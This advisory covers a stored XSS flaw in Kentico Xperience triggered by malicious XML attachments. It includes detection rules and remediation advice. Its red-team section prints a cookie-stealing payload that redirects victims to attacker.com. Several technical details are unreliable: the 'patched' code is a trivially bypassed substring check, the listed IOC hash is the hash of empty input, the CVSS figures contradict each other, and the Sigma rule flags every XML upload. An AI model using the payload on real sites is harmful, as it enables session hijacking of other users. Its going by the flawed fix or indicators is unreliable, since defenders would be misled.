CVE-2022-50685

Executive Summary

CVE-2022-50685 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system. The flaw allows authenticated users to upload malicious XML files as page attachments or metafiles, which are then stored on the server. When other users view the page containing the malicious attachment, the embedded script executes in their browser, leading to session hijacking, data theft, or further compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the authenticated attack vector and the potential for widespread impact within an organization. No public exploit code or patch details are available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned/Placeholder)
• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be an authenticated user.
• User Interaction (UI): Required (R) – The victim must view the page containing the malicious attachment.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: High – Despite the placeholder score, the authenticated XSS vector combined with stored payloads makes this a serious threat for organizations using Kentico Xperience.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Kentico Xperience. The application fails to properly sanitize XML file content during upload. An authenticated attacker can craft an XML file containing malicious JavaScript, such as:

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <script>alert('XSS')</script>
</root>

When this file is uploaded as a page attachment or metafile, the server stores it without validation. When a victim views the page, the browser interprets the XML content, and the embedded script executes. This is a classic stored XSS attack, where the payload persists on the server and affects all users who access the compromised page.

The attack flow:

1. Attacker logs in with valid credentials.
2. Attacker uploads a malicious XML file via the page attachment or metafile upload feature.
3. The file is stored on the server.
4. Victim navigates to the page containing the attachment.
5. The browser renders the XML, executing the embedded script.
6. The script can steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

No patch details are available. The vulnerable code likely involves the file upload handler that does not validate the MIME type or content of XML files. A patched version would include:

• Input validation: Reject XML files that contain script tags or event handlers.
• Content-Type enforcement: Only allow safe file types (e.g., images, PDFs) for attachments.
• Output encoding: Encode any XML content displayed to users to prevent script execution.

Example of vulnerable code (pseudo-C#):

public void UploadAttachment(HttpPostedFile file) {
    // No validation of file content
    SaveFile(file);
}

Example of patched code:

public void UploadAttachment(HttpPostedFile file) {
    if (!IsSafeXml(file)) {
        throw new SecurityException("Unsafe XML content detected.");
    }
    SaveFile(file);
}

private bool IsSafeXml(HttpPostedFile file) {
    // Parse XML and check for script tags
    XmlDocument doc = new XmlDocument();
    doc.Load(file.InputStream);
    return !doc.InnerXml.Contains("<script");
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Kentico Xperience (any version prior to patch) on a Windows server with IIS.
2. Create a test user account with content editor privileges.
3. Log in as the attacker and navigate to a page where attachments can be uploaded.

Exploitation Steps:

1. Craft a malicious XML file:

   <?xml version="1.0" encoding="UTF-8"?>
   <root>
     <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   </root>
   

2. Upload the file as a page attachment.
3. Share the page link with the victim (or wait for an admin to view the page).
4. The victim's browser executes the script, sending their session cookie to the attacker's server.

Expected Outcome: The attacker obtains the victim's session cookie, allowing session hijacking.

Blue Team

Detection Steps:

1. Monitor file upload logs for XML files with unusual content.
2. Use web application firewalls (WAF) to block XML files containing script tags.
3. Implement content security policies (CSP) to restrict script execution.
4. Regularly scan uploaded files for malicious content.

Mitigation:

• Disable XML file uploads if not required.
• Enforce strict file type validation (whitelist allowed extensions).
• Apply output encoding to all user-uploaded content.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • HTTP requests containing document.cookie in the query string
• File System Indicators:
  • XML files in the uploads directory containing <script> tags
  • Unusual file sizes for XML attachments (e.g., > 1KB for simple XML)
• Log Indicators:
  • Repeated uploads of XML files by the same user
  • Access logs showing requests to pages with XML attachments

Detection Engineering

YARA Rule

rule CVE_2022_50685_XML_XSS {
    meta:
        description = "Detects malicious XML files used in CVE-2022-50685"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50685"
    strings:
        $xml_header = "<?xml"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $xml_header at 0 and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2022-50685 - Stored XSS via XML Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of XML files containing script tags to Kentico Xperience
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\w3wp.exe'
        TargetFilename|endswith: '.xml'
        TargetFilename|contains: '\uploads\'
    condition: selection
falsepositives:
    - Legitimate XML uploads by developers
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-50685 - Stored XSS via XML Upload"; flow:to_server,established; content:"POST"; http_method; content:".xml"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable XML file uploads in Kentico Xperience if not required.
2. Implement input validation to reject XML files containing script tags or event handlers.
3. Apply output encoding to all user-uploaded content displayed in the browser.
4. Use a Web Application Firewall (WAF) to block malicious XML payloads.

Long-Term Fix:

• Apply the official patch from Kentico when available.
• Upgrade to a patched version of Kentico Xperience.
• Conduct a security audit of all file upload functionality.

Workarounds:

• Restrict file upload permissions to trusted users only.
• Monitor logs for suspicious upload activity.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
DevSecOps & Cyber Threat Intelligence